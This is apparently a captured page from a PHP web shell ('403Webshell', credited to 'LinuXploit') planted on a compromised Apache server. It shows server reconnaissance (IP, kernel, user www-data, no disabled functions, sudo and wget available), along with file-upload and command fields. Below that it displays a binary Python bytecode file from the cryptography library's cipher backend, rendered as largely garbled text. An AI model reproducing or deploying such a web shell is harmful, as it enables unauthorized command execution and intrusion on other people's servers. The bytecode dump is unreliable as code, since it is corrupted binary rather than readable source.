403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cryptography/hazmat/backends/openssl/__pycache__/ciphers.cpython-312.pyc
�

�3Tfv(���ddlmZddlZddlmZmZmZddlmZddl	m
Z
mZejrddl
mZGd�d�Zy)	�)�annotationsN)�
InvalidTag�UnsupportedAlgorithm�_Reasons)�ciphers)�
algorithms�modes)�Backendc�Z�eZdZdZdZdZdd�Zd
d�Zdd�Zdd�Z	dd�Z
dd	�Zedd
��Z
y)�_CipherContext�ri���?c��||_||_||_||_d|_t|jtj�r|jjdz|_	nd|_	|jjj�}|jjj||jjj�}|jj}	|t!|�t!|�f}||j||�}||jjj.k(rkd|j(�d�}	|�|	d|j(�d�z
}	|	dj'|jj1��z
}	t%|	t*j,��t|t2j4�r0|jjj7|j8�}
n�t|t2j:�r0|jjj7|j<�}
n�t|t2j>�r0|jjj7|j@�}
njt|tBjD�r0|jjj7|j@�}
n |jjj.}
|jjjG|||jjj.|jjj.|jjj.|�}|jjI|d	k7�|jjjK|tM|jN��}|jjI|d	k7�t|t2jP��r)|jjjS||jjjTtM|
�|jjj.�}|jjI|d	k7�|jV��|jjjS||jjjXtM|jV�|jV�}|jjI|d	k7�|jV|_|jjjG||jjj.|jjj.|jjj7|jN�|
|�}|jj[�}|jj}
|d	k(ru|
j\s)|d	j_|
j`|
jb�s5|
jdr4|d	j_|
jf|
jh�rtkd
��|jjI|d	k7|��|jjjm|d	�||_7y#t"$rCt%dj'|j(|r|j(n|�t*j,��wxYw)N�r
z6cipher {} in {} mode is not supported by this backend.zcipher � zin z mode z_is not supported by this backend (Your version of OpenSSL may be too old. Current version: {}.)rz+In XTS mode duplicated keys are not allowed��errors)8�_backend�_cipher�_mode�
_operation�_tag�
isinstancer�BlockCipherAlgorithm�
block_size�_block_size_bytes�_lib�EVP_CIPHER_CTX_new�_ffi�gc�EVP_CIPHER_CTX_free�_cipher_registry�type�KeyErrorr�format�namer�UNSUPPORTED_CIPHER�NULL�openssl_version_textr	�ModeWithInitializationVector�from_buffer�initialization_vector�
ModeWithTweak�tweak�
ModeWithNonce�noncer�ChaCha20�EVP_CipherInit_ex�openssl_assert�EVP_CIPHER_CTX_set_key_length�len�key�GCM�EVP_CIPHER_CTX_ctrl�EVP_CTRL_AEAD_SET_IVLEN�tag�EVP_CTRL_AEAD_SET_TAG�_consume_errors�CRYPTOGRAPHY_IS_LIBRESSL�_lib_reason_match�ERR_LIB_EVP�EVP_R_XTS_DUPLICATED_KEYS�Cryptography_HAS_PROVIDERS�ERR_LIB_PROV�PROV_R_XTS_DUPLICATED_KEYS�
ValueError�EVP_CIPHER_CTX_set_padding�_ctx)�self�backend�cipher�mode�	operation�ctx�registry�adapter�
evp_cipher�msg�iv_nonce�resr�libs              �N/usr/lib/python3/dist-packages/cryptography/hazmat/backends/openssl/ciphers.py�__init__z_CipherContext.__init__sG����
������
�#���,0��	��d�l�l�G�$@�$@�A�%)�\�\�%<�%<��%A�D�"�%&�D�"��m�m� � �3�3�5���m�m� � �#�#�����#�#�7�7�
���=�=�1�1��		��t�F�|�T�$�Z�7�8�G��T�]�]�F�D�9�
�����+�+�0�0�0��F�K�K�=��*�C�����T�Y�Y�K�v�.�.���8��f�T�]�]�7�7�9�:�
;�C�'�s�H�,G�,G�H�H��d�E�>�>�?��}�}�)�)�5�5��*�*��H���e�1�1�
2��}�}�)�)�5�5�d�j�j�A�H�
��e�1�1�
2��}�}�)�)�5�5�d�j�j�A�H�
��
� 3� 3�
4��}�}�)�)�5�5�f�l�l�C�H��}�}�)�)�.�.�H��m�m� � �2�2����M�M���#�#��M�M���#�#��M�M���#�#��

��	
�
�
�$�$�S�A�X�.��m�m� � �>�>���V�Z�Z��
��	
�
�
�$�$�S�A�X�.��d�E�I�I�&��-�-�$�$�8�8���
�
�"�"�:�:��H�
��
�
�"�"�'�'�	�C�
�M�M�(�(����2��x�x�#��m�m�(�(�<�<���M�M�&�&�<�<�����M��H�H�	���
�
�,�,�S�A�X�6� �H�H��	��m�m� � �2�2���M�M���#�#��M�M���#�#��M�M���*�*�6�:�:�6���

�����.�.�0���m�m� � ���!�8��0�0��1�I�/�/��O�O�S�%B�%B��
�.�.��1�I�/�/��$�$�c�&D�&D��
�J�K�K��
�
�$�$�S�A�X�f�$�=�	
�
�
���5�5�c�1�=���	��G�	�&�#�#)�6��K�K�d�����$��+�+��
�	�s
�-Z8�8A\c��tt|�|jzdz
�}|j||�}t	|d|�S)Nr
)�	bytearrayr4r�update_into�bytes)rF�data�buf�ns    rS�updatez_CipherContext.update�sB����D�	�D�$:�$:�:�Q�>�?�����T�3�'���S��!�W�~��c�\�t|�}t|�||jzdz
kr3tdjt|�|jzdz
���d}d}|jj
j
d�}|jj
j|d��}|jj
j|�}||k7r�||z}	||z}
t|j||z
�}|jjj|j|	||
|�}|dk(rIt|jtj �r%|jj#�td��|jj%|dk7�||z
}||dz
}||k7r��|S)Nr
z1buffer must be at least {} bytes for this payloadr�int *T)�require_writablezeIn XTS mode you must supply at least a full block in the first update call. For AES this is 16 bytes.)r4rrCr$rr�newr*�min�_MAX_CHUNK_SIZEr�EVP_CipherUpdaterErrr	�XTSr;r2)
rFrYrZ�total_data_len�data_processed�	total_out�outlen�
baseoutbuf�	baseinbuf�outbuf�inbuf�inlenrQs
             rSrWz_CipherContext.update_into�s����T����s�8�~��(>�(>�>��B�C��� �&��T��T�-C�-C�!C�a�!G�H��
�
���	����#�#�'�'��0���]�]�'�'�3�3�C�$�3�O�
��M�M�&�&�2�2�4�8�	���.��)�+�F���.�E���,�,�n�~�.M�N�E��-�-�$�$�5�5��	�	�6�6�5�%��C��a�x�J�t�z�z�5�9�9�=��
�
�-�-�/� �C���
�
�
�,�,�S�A�X�6��e�#�N�����"�I�#��.�&�r]c��|j|jk(r;t|jtj
�r|j�td��|jjjd|j�}|jjjd�}|jjj|j||�}|dk(�r|jj�}|s*t|jtj �rt"�|jj}|jj%|dj'|j(|j*�xsc|j,xr)|dj'|j.|j0�xs*|j2xr|dj4|j6k(|��td��t|jtj �r�|j|j8k(r�|jjjd|j�}|jjj;|j|jjj<|j|�}|jj%|dk7�|jjj?|�dd|_ |jjjC|j�}|jj%|dk(�|jjj?|�d|dS)Nz4Authentication tag must be provided when decrypting.zunsigned char[]r_rrzFThe length of the provided data is not a multiple of the block length.r
)"r�_DECRYPTrrr	�ModeWithAuthenticationTagr9rCrrrarr�EVP_CipherFinal_exrEr;r6rr2r=r>�'EVP_R_DATA_NOT_MULTIPLE_OF_BLOCK_LENGTHr@rA�PROV_R_WRONG_FINAL_BLOCK_LENGTH�CRYPTOGRAPHY_IS_BORINGSSL�reason�*CIPHER_R_DATA_NOT_MULTIPLE_OF_BLOCK_LENGTH�_ENCRYPTr7�EVP_CTRL_AEAD_GET_TAG�bufferr�EVP_CIPHER_CTX_reset)rFrZrirQrrR�tag_bufs       rS�finalizez_CipherContext.finalize�s����O�O�t�}�}�,��4�:�:�u�'F�'F�G���� ��F��
��m�m� � �$�$�%6��8N�8N�O�����#�#�'�'��0���m�m� � �3�3�D�I�I�s�F�K���!�8��]�]�2�2�4�F��j����U�Y�Y�?� � ��-�-�$�$�C��M�M�(�(��q�	�+�+��O�O��?�?���
�2�2���q�	�3�3��(�(��;�;��
��1�1�F��q�	�(�(��E�E�F��#
)�
�&�$��
�
�t�z�z�5�9�9�-����4�=�=�0��m�m�(�(�,�,�!�4�#9�#9��G��-�-�$�$�8�8��	�	��
�
�"�"�8�8��&�&��	�C�
�M�M�(�(����2��
�
�*�*�1�1�'�:�1�=�D�I��m�m� � �5�5�d�i�i�@���
�
�$�$�S�A�X�.��}�}�!�!�(�(��-�k��q�	�:�:r]c�(�t|�}||jjkr.tdj	|jj���||j
kDr$tdj	|j
���|jjj|j|jjjt|�|�}|jj|dk7�||_|j�S)Nz.Authentication tag must be {} bytes or longer.z0Authentication tag cannot be more than {} bytes.r)r4r�_min_tag_lengthrCr$rrrr7rEr:r2rr})rFr9�tag_lenrQs    rS�finalize_with_tagz _CipherContext.finalize_with_tag�s����c�(���T�Z�Z�/�/�/��@�G�G��J�J�.�.���
�
�t�-�-�
-��B�I�I��*�*���
�
�m�m� � �4�4��I�I�t�}�}�)�)�?�?��S��3�
��	
�
�
�$�$�S�A�X�.���	��}�}��r]c	��|jjjd�}|jjj	|j
|jjj||jjj|�t|��}|jj|dk7�y)Nr_r)
rrrarrdrEr'r*r4r2)rFrYrirQs    rS�authenticate_additional_dataz+_CipherContext.authenticate_additional_datas������#�#�'�'��0���m�m� � �1�1��I�I��M�M���#�#���M�M���*�*�4�0���I�
��	
�
�
�$�$�S�A�X�.r]c��|jS)N)r)rFs rSr9z_CipherContext.tags���y�y�r]N)rGr
rJ�int�return�None)rYrXr�rX)rYrXrZrXr�r�)r�rX)r9rXr�rX)rYrXr�r�)r�ztyping.Optional[bytes])�__name__�
__module__�__qualname__rxrprcrTr\rWr}r�r��propertyr9�r]rSrrsG���H��H��O�w�r�
!�F>;�@�*	/����r]r)�
__future__r�typing�cryptography.exceptionsrrr�cryptography.hazmat.primitivesr�&cryptography.hazmat.primitives.ciphersrr	�
TYPE_CHECKING�,cryptography.hazmat.backends.openssl.backendr
rr�r]rS�<module>r�s1��
#�
�N�N�2�D�	���D�H�Hr]

Youez - 2016 - github.com/yon3zu
LinuXploit